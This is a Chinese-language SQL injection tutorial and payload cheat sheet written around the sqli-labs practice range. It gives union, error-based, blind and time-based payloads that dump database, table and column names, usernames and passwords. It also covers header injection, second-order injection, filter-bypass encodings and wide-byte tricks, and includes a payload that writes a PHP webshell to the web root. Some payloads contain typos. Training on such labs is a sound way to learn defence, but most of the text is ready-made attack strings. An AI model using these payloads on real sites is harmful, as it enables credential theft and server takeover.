SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
## 常用的注入闭合 语句 单引号 1' -- 数字 1 -- 双引号 1" -- 单引号+括号 1') -- 双引号加括号 1") -- 单引号+双括号+双引号 1'))" -- 单引号+双引号 1'" 单引号+单引号 1'' 双引号+单引号 1"' 双引号+双引号 1"" 单引号+双括号 1')) 双单引号+括号 1'') ## 常用的 注入类型 1、GET联合查询注入 2、GET报错注入 3、GET布尔盲注 4、GET延时注入 5、GET写入数据注入 6、POST报错注入 7、POST延时注入 8、POST布尔盲注 9、POST的updatexml函数报错注入 10、HTTP头部注入(user-Agent) 11、HTTP头部注入(referer) 12、HTTP头部注入(cookie) 13、HTTP头部注入(cookie-base64) 14、绕过注释符过滤注入 15、大小写或双写绕过关键字过滤注入 16、绕过空格过滤注入 17、二次注入 18、宽字节注入 19、Access偏移注入(asp) ## 常用的注释 单行注释:-- 或# 多行注释:/**/ 内联注释:/*! */ ## 重要函数简述 version()mysql 数据库版本 database() 数据库名称 user() 用户名 current_user() 当前用户名 system_user() 系统用户名 @@version_compile_os 操作系统版本 @@datadir 数据库路径 ## 其他函数 length() 返回 字符串长度 substring()或substr()或mid() 字符串截取 left() 从左边开始截取指定字符串 concat() 没有分隔符的连接字符 concat_ws() 含有分隔符的连接字符 group_concat() 连成一个组的字符串 ord() 反编ASCII码 ascii() 编译成ascii码 hex() 字符转变成16进制 unhex() hex反向操作 md5() 返回md5值 floor(x) 返回不大于x的最大整数 round() 返回参数x接近的整数 rand() 返回0-1之间的浮动数 load_file() 读取文件,并返回内容字符串 sleep(sec) 睡眠(sec) if(true,x,y) 判断条件为真返回x,假返回y find_in_set() 返回字符串在字符串列表的位置 benchmark() 指定语句执行次数 outfile 或者dumpfile 写入文件
## 1、猜解数据库字段数 ?id=1' order by 3 -- + ## 2、回显数据库和版本号 ?id=1' union select 1,database(),version() -- + ## 3、回显表名 ?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() -- + 回显表名 ?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- + 将回显的表,链接成一个字符串 ?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --+ 回显指定表表名(0 row,1 col) ## 4、回显列名 ?id=1' union select 1,2,column_name from information_schema.columns where table_name='users' -- + 回显列名 ?id=1' union select 1,2,group_concat(colmn_name) from information_schema.columns wheree table_name='users' -- + 将回显的列名,链接成一个字符串 ?id=1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1 -- + 回显指定列名(第0行,第1列) ## 5、猜解库名 ?id=1' and length(database())>10 -- + 依次输入进行数据库字段数猜解 ?id=1' and ascii(substr(database(),1,1))>90 -- + 依次修改数字进行ascii对比得到数据库名 ## 6、猜解表名 ?id=1' (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>33 --+ 依次修改数字进行猜解表的(第一行第一列第一个)字段数 ?id=1' ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>33 -- + 依次修改数字进行猜解表的(第一行第一列第一个)表名 ## 7、猜解列名 ?id=1' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>0 -- + 猜解列的字段数 ?id=1' and ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)>90 -- + 猜解列名 ## 8、延时猜解库名 ?id=1'+and+sleep(if(ascii(substr(database(),1,1))>98,1,5))--+ ## 9、猜解记录 ?id=1' and (select count(*) from users)>0 -- + 猜解表中有多少条记录 ?id=1' and (select length(username) from users limit 0,1)>15 -- + 猜解记录的第0行第一列有多少字段数 ?id=1' and ascii(substr((select username from users limit 0,1),1,1)>90 -- + 猜解内容 ## 10、注入文件 ?id=1' union select 1,2,'<?php eval([$_POST(123)]); ?>' into outfile "/var/www/html/shell.php" -- + ## 11、常用http头部注入报错函数 and updatexmlupdatexml(1,concat(0x7e,database(),0x7e),1) and extractvalueextractvalue(1,concat(0x7e,database()))
环境:sqli-labs靶场,
数据库版本:MariaDB-5.5.64
系统:linux
链接:https://pan.baidu.com/s/1aDjaqSw0nyMwBLYd0oNVzA
提取码:sqli
hackbar插件
链接:https://pan.baidu.com/s/1P9JoL3w5F9dTExgfGd-d1Q
提取码:hack
1、GET的联合查询(Less-1)
?id=-1' order by 3 -- +或者?id=1' order by 1,2,3 -- + #确定注入多少的字段 ?id=-1' union select 1,database(),version() -- + #手工暴库 ?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1 -- + #通过修改limit 0,1来回显指定表名 或者 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- + #将所有表名拼接成一个字符串来显示 ?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' -- + #回显列名 ?id=-1' union select 1,group_concat(username),group_concat(password) from users -- + #回显所有账户
2、GET报错注入(Less-5)
?id=1' and length(database())=8 -- + #猜解当前数据库名有多少个字符 ***************************************************************************************** 猜解数据库名称 ?id=1' and ascii(substr(database(),1,1))=115 -- + #猜解数据库名第一个字符的ascii是115->s ?id=1' and ascii(substr(database(),2,1))=101 -- + #猜解数据库名第二个字符的ascii是101->e ?id=1' and ascii(substr(database(),3,1))=99 -- + #猜解数据库名第三个字符的ascii是99->c ?id=1' and ascii(substr(database(),4,1))=117 -- + #猜解数据库名第四个字符的ascii是117->u ?id=1' and ascii(substr(database(),5,1))=114 -- + #猜解数据库名第五个字符的ascii是114->r ?id=1' and ascii(substr(database(),6,1))=105 -- + #猜解数据库名第六个字符的ascii是105->i ?id=1' and ascii(substr(database(),7,1))=116 -- + #猜解数据库名第七个字符的ascii是116->t ?id=1' and ascii(substr(database(),8,1))=121 -- + #猜解数据库名第八个字符的ascii是121->y **************************************************************************************************************************************************** 猜解数据库存在多少张表和数据表的名称字符数 ?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+ #第一张表的字符6个 ?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 2,1)=7 --+ #第二张表的字符7个 ?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8 --+ #第三张表的字符8个 ?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 --+ #第四张表的字符5个 ?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 4,1)=1 --+ #说明数据库只存在四张表 ************************************************************************************************************************************************************* 猜解数据表名 第四张表(user) ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 -- + #第四张表第一个字符114->u ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115 -- + #第四张表第二个字符115->s ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),3,1))=101 -- + #第四张表第三个字符101->e ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),4,1))=114 -- + #第四张表第四个字符114->r ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115 -- + #第四张表第五个字符115->s **************************************************************************************************************************************** 猜解列的字符数94个 ?id=1' and (select length(group_concat(column_name)) from information_schema.columns where table_name='users' limit 0,1)=94 -- + ********************************************************************************************************************************************************************** 猜解列名 ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),1,1))=117 -- + 列一个字符117->u ?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1),2,1))=115 -- + 列一个字符115->s ........94 依次猜解 ************************************************************************** 猜解表中有多少记录 ?id=1' and (select count(*) from users)=13 -- + #表中存在13条记录 ************************************************************************ 猜解账户字符数91,密码字符数64 ?id=1' and (select length(group_concat(username)) from users)=91 -- + ?id=1' and (select length(group_concat(password)) from users)=64 -- + *********************************************************************************************************************************************** 猜解账户内容 ?id=1' and ascii(substr((select group_concat(username) from users),1,1))=68 -- + 68->D ?id=1' and ascii(substr((select group_concat(username) from users),2,1))=109 -- + 109->m .......91 ********************************************************************************************************************************************** 猜解密码内容 ?id=1' and ascii(substr((select group_concat(password) from users),1,1))=68 -- + 68->D ?id=1' and ascii(substr((select group_concat(username) from users),2,1))=68 -- + 109->m ......64
3、GET布尔盲注(Less-8)
布尔盲注和报错注入差不多
4、GET延时注入(Less-9)
通过浏览器响应时间来判断数据库名字符数的范围 ?id=1' and sleep(if(length(database())>10,0,2)) -- + #猜解数据库字符数范围 ***************************************************************************************** 猜解数据库名称 ?id=1' and sleep(if(ascii(substr(database(),1,1))=115,1,2)) -- + 115->s ....... ******************************************************************************************* 过程和报错注入、盲注一样一步步的通ascii码进行猜解内容,不同的是延时注入是通过浏览响应时间来猜解
5、写入数据注入需要与回显注入结合(Less-1)
查看当前数据库为位置和使用的操作系统类型
写入一句话木马文件条件: * 1、有读取文件的绝对路径 * 2、mysql服务对路径有读的权限 * 3、mysql连接用户有file权限 * 4、secure_file_priv=''* * 一句话文件最终目的需要写入在网站的根目录下 * ******************************************************************************************************** sql注入一句话木马 into outfile 或者 into dumpfile ?id=1' union select 1,2,'<?php eval([$_POST(123)]); ?>' into outfile "/var/www/html/shell.php" -- +
6、POST的布尔和延时(Less-16)
7、POST的updataxml函数报错注入(Less-17)
8、HTTP头部(user-Agent)注入(Less-18)
9、HTTP头部(referer)注入(Less-19)
10、HTTP头部(Cookie)注入(Less-20)
11、HTTP头部(cookie-base64)注入(Less-21)
12、绕过注释符注入(Less-23)
13、二次注入(less-24)
思路 注册一个Dumb' -- - 或 Dumb'# 的用户,符号的目的闭合sql语句 然后修改新注册用户Dumb' -- - 的密码,通过符号的闭合sql从而修改了Dumb的密码
14、绕过过滤注入
过滤【*、–、#、空格、select、union、UNION、SELECT、Union、Select、/、】
1、Mysql中的大小写不敏感,大写与小写一样。 2、Mysql 中的十六进制与URL编码 3、符号和关键字替换 and --> &&、or --> || 4、Mysql中会自动识别URL与Hex编码好的内容 空格的表示:%20、%a0、%09 %0c 新的一页,%0d return功能,%0b TAB键(垂直) 单引号-->%27 绕过过滤的方法 大小写绕过 双写绕过(anAndd,当代码从左向右检测时,则会剔除And,留下and) 编码绕过 内联注释绕过
15、宽字节注入(Less-32)
GBK 占用两字节 ASCII占用一字节 PHP中编码为GBK,函数执行添加的是ASCII编码, MYSQL默认字符集是GBK等宽字节字符集。 %DF’ :会被PHP当中的addslashes函数转义为“%DF\'” , “\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话, 就会认为“%DF%5C%27”是一个宽字符。也就是“縗’” 最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了, 比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单, 我们先将129(十进制)转换为十六进制,为0x81,然后在十六进制前面加%即可,即为%81 GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)